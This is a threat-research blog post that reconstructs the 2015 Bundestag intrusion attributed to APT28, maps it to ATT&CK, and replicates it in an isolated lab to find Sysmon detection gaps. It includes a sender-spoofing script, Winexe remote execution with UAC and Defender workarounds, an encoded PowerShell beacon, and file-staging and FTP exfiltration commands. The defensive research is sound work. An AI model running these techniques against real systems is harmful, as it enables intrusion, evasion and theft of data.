Skip to content
Back to home
2026-09-06APT Research18 min read

APT28's 2015 Bundestag Intrusion: What the Public Record Shows, and What I Rebuilt in a Lab

A source-grounded reconstruction of the 2015 Bundestag intrusion attributed to APT28 — mapping the public record to MITRE ATT&CK, then replicating the delivery, lateral movement, C2, and collection mechanisms in an isolated lab to surface real detection gaps.

1. Campaign Summary

In April–May 2015, the German Bundestag (federal parliament) suffered a significant network intrusion. Sources attribute the campaign to APT28 with varying confidence — BankInfoSecurity and Süddeutsche Zeitung reported German investigators and security researchers linking the operation to Russian military intelligence, while netzpolitik.org's investigative report into the Left Party (Die Linke) infrastructure hack offers the most technically detailed independent analysis available.

The operation is understood to have begun around late April 2015, with officials confirming the incident publicly around 11 May 2015. Reported impact includes roughly 5,600 affected computers, around 12,000 users, and approximately 16GB of exfiltrated data — including an estimated 10,000 emails belonging to Bundestag members.

Attribution of the malware itself to a specific individual (publicly named as Dmitriy Sergeyevich Badin in some reporting) is likewise an interpretation layered on top of technical indicators, not a directly observable fact — flagged accordingly throughout.

2. Kill Chain Breakdown

Kill Chain StageWhat HappenedSourceATT&CK ID
ReconnaissanceNot found in available sources——
WeaponizationNot found in available sources——
DeliverySpearphishing email spoofing a UN sender (news@un.org), subject line referencing the Ukraine–Russia conflict, targeted at Bundestag members[1][2]T1566.002
ExploitationNot found in available sources——
Installationwinexesvc.exe found on a Die Linke file server; svchost.exe.exe (double extension in the original artifact; internally dubbed "xtunnel" by researchers) found on the Die Linke admin controller[4]T1569.002
Command & ControlXtunnel beaconing to 176.31.112.10, optional SSL/TLS-wrapped channel, statically-linked OpenSSL 1.0.1e[4]T1573.002
Actions on Objectives~16GB of data collected, including ~10,000 emails; Mimikatz used to obtain admin credentials[1][2][4]T1119 (Collection), T1010 (Exfiltration); T1003.001/T1555 (Credential Access)

Consistent with the source material, Reconnaissance, Weaponization, and Exploitation are left blank rather than guess-filled — no source in the reference list addresses these stages for this campaign.

3. ATT&CK Mapping

ATT&CK IDTechniqueEvidenceKill Chain StageConfidence
T1566.002Phishing: Spearphishing LinkUN-spoofed sender, Ukraine-conflict subject line, targeted at Bundestag membersDeliveryHigh
T1569.002System Services: Service Execution (Winexe)winexesvc.exe recovered from Die Linke file server; functionally equivalent to PsExec but Linux-controllableInstallationHigh — as a tool-use finding. Note: source [4] establishes how Winexe operates, not how it first landed on the target — the initial-installation vector for Winexe itself is unconfirmed
T1573.002Encrypted Channel: Symmetric CryptographyXtunnel's -SSL flag triggers a full TLS handshake before beaconing; MITRE's own T1573.002 page cites Xtunnel by nameCommand and ControlHigh
T1119Automated CollectionRecovered batch script identifies .pdf/.xls/.xlsx/.doc/.docx files modified after a specific date and stages them to a ProgramData folder — directly sourced from [4], not a reconstruction. Delivery-to-the-file-server mechanism (how the script got there / was triggered) is not addressed by the source.Actions on ObjectivesHigh confidence data was collected and the recovered script's mechanism is source-confirmed; the trigger/delivery mechanism for that script is not
T1010Exfiltration Over Alternative Protocol (speculated: FTP)Source [4] speculates ("the attacker may have uploaded the documents through a common utility like ftp") — explicitly hedged interpretation, not observation. Notably, this speculation is attached to a separate, unrecovered, earlier version of the collection script, not the one actually recovered.Actions on ObjectivesLow — mechanism is source-speculated, not confirmed, and the speculation doesn't cleanly attach to the recovered artifact
T1003.001 / T1555OS Credential Dumping: LSASS Memory / Credentials from Password StoresMimikatz confirmed used; sources do not specify which sub-techniqueCredential AccessMedium — tool confirmed, specific sub-technique unconfirmed

4. Replication

I rebuilt the key mechanical building blocks of this campaign in an isolated lab (VirtualBox, Windows 10 Pro x64 target + Kali attacker, Sysmon + Splunk telemetry).

Delivery: SMTP Sender Spoofing

I stood up a mail server (hMailServer) and mail client (Thunderbird) in the lab, then sent a message replicating the historical lure's sender and subject line using a from-scratch Python smtplib script — no payload, link or attachment, since the actual 2015 payload-delivery mechanism (what happened after the click) is not something I attempted to reconstruct. This mail server was deployed locally rather than as an internet-facing service, since the lab network is host-only and isolated (no route out, no real DNS/MX resolution) — a real deployment would sit on actual internet-facing mail infrastructure reachable via public DNS MX records. This local build exists purely to demonstrate the spoofing mechanism itself, not to replicate real-world infrastructure.

The code I used:

import smtplib
from email.message import EmailMessage
 
smtp_server = "192.168.56.20"
smtp_port = 25
 
# Build the message
msg = EmailMessage()
msg["From"] = "news@un.org"                          # spoofed sender - forged, not authenticated
msg["To"] = "victim@bundestag-lab.local"
msg["Subject"] = "Ukraine conflict with Russia leaves economy in ruins"
msg.set_content(
    "This is a benign lab test message. No payload, no link, no attachment.\n"
    "Purpose: testing mail gateway detection of a spoofed sender domain."
)
 
conn = smtplib.SMTP(smtp_server, smtp_port)
conn.set_debuglevel(1)
conn.ehlo()
conn.send_message(msg)
conn.quit()
 
print("Message sent.")

Finding: the spoofed sender (news@un.org) displayed in the mail client with zero warning indicator. Server logs confirmed no SPF, DKIM, or DMARC evaluation was configured — nothing in the mail path validated the claimed sender identity. This is the entire mechanism a spoofed lure like this relies on: SMTP's From: header is simply an unauthenticated string.

Kali terminal showing the SMTP send session, ending with "Message sent."

Thunderbird inbox showing the spoofed news@un.org email with zero warning indicator

Installation: Winexe / Service Execution

Using Winexe from Kali against the Windows target (with a dedicated local admin account, labadmin, standing in for "obtained admin creds"), I replicated the T1569.002 mechanism end-to-end: SMB authentication over port 445 → RPC over port 135 → Service Control Manager service creation via the ADMIN$ share → named-pipe-based I/O → remote command execution as SYSTEM.

Connecting and transferring: Winexe authenticates to the target over SMB (445) and RPC (135), then uses those channels to push a temporary service binary (winexesvc.exe) onto the target via the ADMIN$ share and register it as a Windows service through the Service Control Manager. Once running, that service listens on a named pipe (\\ServerName\pipe\ahexec) that Winexe, acting as the client, writes commands into — the service reads from the pipe and executes them locally via CreateProcessAsUserA. This is why the technique needs local admin rights on the target: SCM service creation is a privileged operation.

Kali terminal showing the initial Winexe connection attempt and GENSEC backend negotiation

Troubleshooting chain, in the order encountered:

  1. SMB (445) and RPC (135) were blocked by the target's default firewall rules — opened via explicit inbound firewall rules for both ports.
  2. Initial connection attempts failed with WERR_ACCESS_DENIED — caused by UAC remote token filtering stripping admin rights from the local account over the network. Resolved by setting the LocalAccountTokenFilterPolicy registry value (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System) to 1, which disables that filtering for local accounts.
  3. The next attempt failed with WERR_VIRUS_INFECTED — Windows Defender had quarantined the uploaded winexesvc.exe as Program:Win32/Contebrew.A!ml, an ML-heuristic hacktool/PUA classification. This is a finding in its own right: a 2015-era lateral-movement technique is caught, unmodified, by a stock modern Defender install. Resolved via a scoped, path-specific exclusion (Add-MpPreference -ExclusionPath) — not a blanket AV disable, closer to how a real environment might carve out an exception for a legitimate scoped admin tool.

Kali terminal showing the second connection attempt failing with WERR_VIRUS_INFECTED

Windows Security showing the quarantined winexesvc.exe threat detection (Program:Win32/Contebrew.A!ml)

Execution then succeeded, confirmed by the creation of C:\Windows\Temp\winexe_test.txt with the expected content. A plain .txt file was used here to keep the test simple and unambiguous — confirming the named-pipe/remote-execution mechanism worked. In a real intrusion, the attacker would more likely drop and execute an actual binary through this same channel, which would generate a richer, more realistic telemetry set (a distinct Event 1 process creation for the dropped binary, image/module load events, a file hash, and potentially AV/EDR detections tied to the binary itself rather than just the service/pipe activity) — a good candidate for a future follow-up run.

Splunk/Sysmon evidence confirmed the full predicted chain: service installation as LocalSystem (Event 7045), three separate named pipes for stdin/stdout/stderr (Events 17/18), and a child cmd.exe process with ParentImage: winexesvc.exe. One prediction miss, logged rather than smoothed over: expected services.exe as the service process's own parent image; Sysmon captured no parent image for that event at all.

Splunk search results showing the Winexe service installation and named pipe events

Splunk search results continued, showing the child cmd.exe process and full event table

Command & Control: Beacon Replication

The source describes "xtunnel" (svchost.exe.exe) as a tunnel/backchannel maintaining foothold via raw TCP/UDP beaconing, with an optional SSL-wrapped mode, six documented command-line arguments. Xtunnel itself is real malware — not replicated. Instead, I built a minimal, benign heartbeat matching the mechanism's shape: a fixed-string TCP check-in with no receive or execute capability whatsoever.

while ($true) {
    try {
        $client = New-Object System.Net.Sockets.TcpClient("192.168.56.10", 4444)
        $stream = $client.GetStream()
        $msg = [System.Text.Encoding]::ASCII.GetBytes("beacon-check-in")
        $stream.Write($msg, 0, $msg.Length)
        $client.Close()
    } catch {}
    Start-Sleep -Seconds 30
}

Pushed to the target as a base64-encoded -EncodedCommand via Winexe, rather than written to disk. The first attempt was blocked and removed by Windows Defender as Trojan:Win32/Commando.A!ml — a notably more severe classification than Winexe's own detection earlier in this replication (Program:Win32/Contebrew.A!ml, a PUA/hacktool tier).

Kali terminal showing the listener setup and the base64-encoded PowerShell payload

The same defense stack treats an encoded-PowerShell reverse-beacon pattern as meaningfully more dangerous than a dual-use remote-exec tool. A second, identical attempt succeeded and beaconed for roughly 12 minutes at the coded 30-second interval before the run ended — not from a stop command, but because I closed the interactive terminal session it was running in, which ended that session and the beacon process riding on it. Why the identical payload passed Defender on the second attempt was not conclusively determined.

Kali listener receiving repeated beacon check-ins from the PowerShell heartbeat script

Logs from Splunk:

Splunk search results showing the beacon process network connection events

Actions on Objectives: Automated Collection + Exfiltration

The collection script was pushed onto the target rather than typed at a console — via smbclient, a real SMB client tool, writing the script file directly to the target's filesystem:

smbclient //192.168.56.20/C$ -U labadmin%<password> -c 'put collect.ps1 Users\Rose\Documents\collect.ps1'
winexe -U labadmin%<password> //192.168.56.20 "powershell.exe -ExecutionPolicy Bypass -File C:\Users\Rose\Documents\collect.ps1"

Kali terminal showing the smbclient file push and initial PowerShell collection attempt

This first pass used a researcher-written PowerShell script (Get-ChildItem / Copy-Item) rather than the source's actual mechanism. I later redid Collection to match the source faithfully, since the sourced artifact is a forfiles / cmd batch loop, not PowerShell:

for %G in (.pdf .xls .xlsx .doc .docx) do (forfiles /P C:\Users\Rose\Documents\dummy /m *%G /s /d +16/08/2026 /c "cmd /c copy @path C:\ProgramData\SysCache\@file")

This version matches the source's mechanism (forfiles, not PowerShell) and its staging location pattern (ProgramData, not Windows\Temp). Two deliberate simplifications remain, logged rather than hidden: the source's absolute date filter used its own recovered value; ours uses this lab's own file dates instead. And the source pulls from a separate drive (F:\); I used a local folder as a stand-in rather than provisioning a second drive.

Kali terminal showing the forfiles batch loop executing across each file extension

Telemetry difference between the two approaches, confirmed via Splunk: the PowerShell version produced a single powershell.exe process; the forfiles version produced four separate, short-lived forfiles.exe processes (one per file extension in the loop), clustered within half a second. Genuinely different signatures for functionally similar outcomes.

For exfiltration, I set up vsftpd on the Kali box as a receiving server and pushed an FTP script to the Windows target (again via Winexe) to transfer the collected files out.

Kali terminal showing the FTP transfer from the Windows target and verification on the receiving server

The successful transfer was byte-verified against the source-faithful collection output: test.pdf matched 16,008 bytes on both source and destination. Splunk showed the complete three-hop process lineage: winexesvc.exe → cmd.exe → ftp.exe, user labadmin throughout.

Splunk search results showing the full process lineage from winexesvc.exe through cmd.exe to ftp.exe

A caveat worth being precise about: the source states the recovered batch script (the one this replication matches) has "no dedicated exfiltration functionality." Its FTP speculation is attached to a different, unrecovered, earlier version of the script. This lab's Collection → Exfiltration sequence is therefore a sourced but combined replication — it tests the mechanism of the documented collection script plus the mechanism of a separately-speculated exfiltration method, chained together for practical lab purposes. The source does not claim these two are the same continuous event.

5. Detection Gaps and Hunting Hypotheses

The PowerShell-based collection run (files copied via Get-ChildItem / Copy-Item, chained through Winexe) produced zero Sysmon FileCreate (Event 11) events for any of the copied .pdf/.docx/.xlsx files, despite their confirmed on-disk presence. I checked this directly against the live config (sysmonconfig-export.xml, SwiftOnSecurity) rather than leaving it as an inference: the FileCreate onmatch="include" block (line 484) allow-lists specific extensions only — .exe, .dll, .bat, .cmd, .docm (macro-enabled only, not plain .doc), .jar, .hta, plus a handful of path-based triggers. Plain .pdf, .doc, .docx, and .xlsx are absent from that list.

Hunting hypothesis: any monitoring stack running an unmodified SwiftOnSecurity Sysmon config should be checked for FileCreate coverage on document extensions specifically, not just executables — a gap that silently defeats detection of bulk document staging even where service-execution and network telemetry are otherwise solid.

A second, related gap surfaced in the exfiltration step: ftp.exe's outbound connection to the Kali FTP server produced no Sysmon Event 3 (Network Connection), even though the process chain around it (winexesvc.exe → cmd.exe → ftp.exe) was fully logged via Event 1. I checked this the same way — the NetworkConnect onmatch="include" block (line 271) logs connections based on suspicious source path or a named list of specific tool binaries (cmd.exe, certutil.exe, cscript.exe, and others); ftp.exe is absent from that list, and searching the full config for any mention of ftp returns only an unrelated documentation comment.

Hunting hypothesis: under this Sysmon configuration, process-chain telemetry can fully expose a remote-execution-driven exfiltration sequence while the actual data-transfer connection itself stays invisible — defenders relying on Sysmon network telemetry alone for exfil detection would miss this specific technique entirely, even with process auditing otherwise intact.

A useful contrast: the C2 beacon (powershell.exe connecting to the Kali listener) was fully captured by Sysmon Event 3, every single check-in, for the full ~12-minute run. Same lab, same Sysmon config, same session — but one technique's network activity is fully visible and the other's is completely invisible, purely because of which process name is doing the connecting. A defender relying on this config would catch a PowerShell-based beacon in real time while missing an FTP-based exfiltration entirely.

6. Analyst Notes

Delivery mechanism, reconciled. Initial source review found the click-to-install mechanism only stated in one source (BankInfoSecurity, attributed to Süddeutsche Zeitung) and flagged it as a potential conflict against a hedged claim elsewhere. Direct re-verification of the source confirmed no actual conflict — this is a case of uneven source depth, not disagreement: one source states the mechanism directly, two others are timeline-of-events pieces that don't address it, and the fourth hedges toward "possible credential phishing" without contradicting the first.

Open, unresolved items: one source's brief note that the malware "resembles" a 2014 sample was not independently verified; two open technical questions from the artifact-analysis phase (the exact scope of the ADMIN$ share reference, and a certificate/IP-history hunt) remain unanswered.

Lateral movement — formally unresolved. No source in the reference list explains how the initial phished foothold led to the file server and admin controller where Winexe and Xtunnel were found. This is logged as an open, honestly-documented gap in the public record for this campaign, not a failure to find the answer.


Sources: [1] BankInfoSecurity · [2] Süddeutsche Zeitung · [3] GovInfoSecurity · [4] netzpolitik.org